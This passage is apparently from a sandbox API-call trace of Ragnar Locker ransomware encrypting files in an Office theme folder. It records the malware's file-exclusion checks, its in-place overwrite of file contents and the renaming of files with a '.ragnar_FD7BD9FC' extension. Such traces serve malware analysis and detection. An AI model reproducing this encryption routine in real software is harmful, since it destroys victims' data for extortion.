lpString1=0x1eab6e, lpString2="CANYON.INF" | out: lpString1="CANYON.INF") returned="CANYON.INF" [0071.464] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF") returned=".INF" [0071.464] lstrcmpiW (lpString1="CANYON.INF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0071.464] lstrcmpiW (lpString1="CANYON.INF", lpString2="autorun.inf") returned 1 [0071.464] lstrcmpiW (lpString1="CANYON.INF", lpString2="boot.ini") returned 1 [0071.464] lstrcmpiW (lpString1="CANYON.INF", lpString2="bootfont.bin") returned 1 [0071.464] lstrcmpiW (lpString1="CANYON.INF", lpString2="bootsect.bak") returned 1 [0071.464] lstrcmpiW (lpString1="CANYON.INF", lpString2="bootmgr") returned 1 [0071.464] lstrcmpiW (lpString1="CANYON.INF", lpString2="bootmgr.efi") returned 1 [0071.464] lstrcmpiW (lpString1="CANYON.INF", lpString2="bootmgfw.efi") returned 1 [0071.464] lstrcmpiW (lpString1="CANYON.INF", lpString2="desktop.ini") returned -1 [0071.464] lstrcmpiW (lpString1="CANYON.INF", lpString2="iconcache.db") returned -1 [0071.464] lstrcmpiW (lpString1="CANYON.INF", lpString2="ntldr") returned -1 [0071.464] lstrcmpiW (lpString1="CANYON.INF", lpString2="ntuser.dat") returned -1 [0071.464] lstrcmpiW (lpString1="CANYON.INF", lpString2="ntuser.dat.log") returned -1 [0071.464] lstrcmpiW (lpString1="CANYON.INF", lpString2="ntuser.ini") returned -1 [0071.464] lstrcmpiW (lpString1="CANYON.INF", lpString2="thumbs.db") returned -1 [0071.464] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0071.464] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0071.464] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0071.464] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0071.464] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0071.464] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0071.464] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0071.464] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf")) returned 0x20 [0071.466] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0071.466] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=465) returned 1 [0071.466] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x1c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.466] GetProcessHeap () returned 0x580000 [0071.466] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0071.466] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0071.467] VirtualAlloc (lpAddress=0x0, dwSize=0x1d1, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0071.467] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.467] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0071.467] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1d1, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x1d1, lpOverlapped=0x0) returned 1 [0071.467] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0071.467] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1d1, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.467] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1d1, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x1d1, lpOverlapped=0x0) returned 1 [0071.467] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1d1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.467] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0071.468] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x1d1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.468] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.468] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.468] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.468] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0071.468] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.468] GetProcessHeap () returned 0x580000 [0071.468] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0071.468] CloseHandle (hObject=0x100) returned 1 [0071.469] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF" [0071.469] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF.ragnar_FD7BD9FC" [0071.469] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0071.470] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0071.470] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0071.470] lstrcpyW (in: lpString1=0x1eab6e, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0071.470] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned=".GIF" [0071.470] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0071.470] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0071.470] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0071.470] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0071.470] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0071.470] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0071.470] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0071.470] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0071.470] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0071.470] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0071.470] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0071.470] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0071.470] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0071.470] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0071.470] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0071.470] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0071.470] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0071.470] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0071.470] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0071.470] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0071.470] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0071.470] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0071.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 0x20 [0071.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0071.471] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=945) returned 1 [0071.471] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x3a8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.471] GetProcessHeap () returned 0x580000 [0071.471] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0071.471] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0071.472] VirtualAlloc (lpAddress=0x0, dwSize=0x3b1, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0071.473] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.473] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0071.473] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3b1, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x3b1, lpOverlapped=0x0) returned 1 [0071.473] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0071.473] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3b1, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.473] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3b1, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x3b1, lpOverlapped=0x0) returned 1 [0071.473] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3b1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.473] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0071.473] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x3b1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.473] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.473] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.473] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.473] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0071.474] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.474] GetProcessHeap () returned 0x580000 [0071.474] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0071.474] CloseHandle (hObject=0x100) returned 1 [0071.474] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" [0071.474] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.ragnar_FD7BD9FC" [0071.474] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0071.475] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ccd13a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7ccd13a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0071.475] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0071.475] lstrcpyW (in: lpString1=0x1eab6e, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0071.475] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\RGNR_FD7BD9FC.txt") returned=".txt" [0071.475] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0071.475] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0071.475] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0071.475] lstrcpyW (in: lpString1=0x1eab6e, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0071.475] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned=".PNG" [0071.475] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0071.475] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0071.475] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0071.475] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0071.475] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0071.475] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0071.475] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0071.475] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0071.475] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0071.475] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0071.476] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0071.476] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0071.476] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0071.476] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0071.476] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0071.476] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0071.476] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0071.476] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0071.476] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0071.476] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0071.476] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0071.476] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0071.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 0x20 [0071.476] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0071.476] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=32607) returned 1 [0071.476] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x7f56, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.476] GetProcessHeap () returned 0x580000 [0071.476] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0071.476] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0071.478] VirtualAlloc (lpAddress=0x0, dwSize=0x7f5f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0071.478] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.478] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0071.478] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7f5f, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x7f5f, lpOverlapped=0x0) returned 1 [0071.480] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0071.480] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7f5f, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.480] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7f5f, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x7f5f, lpOverlapped=0x0) returned 1 [0071.480] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7f5f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.480] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0071.480] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x7f5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.480] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.480] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.481] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.481] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0071.481] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.481] GetProcessHeap () returned 0x580000 [0071.481] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0071.481] CloseHandle (hObject=0x100) returned 1 [0071.482] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" [0071.482] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0071.482] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0071.482] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: 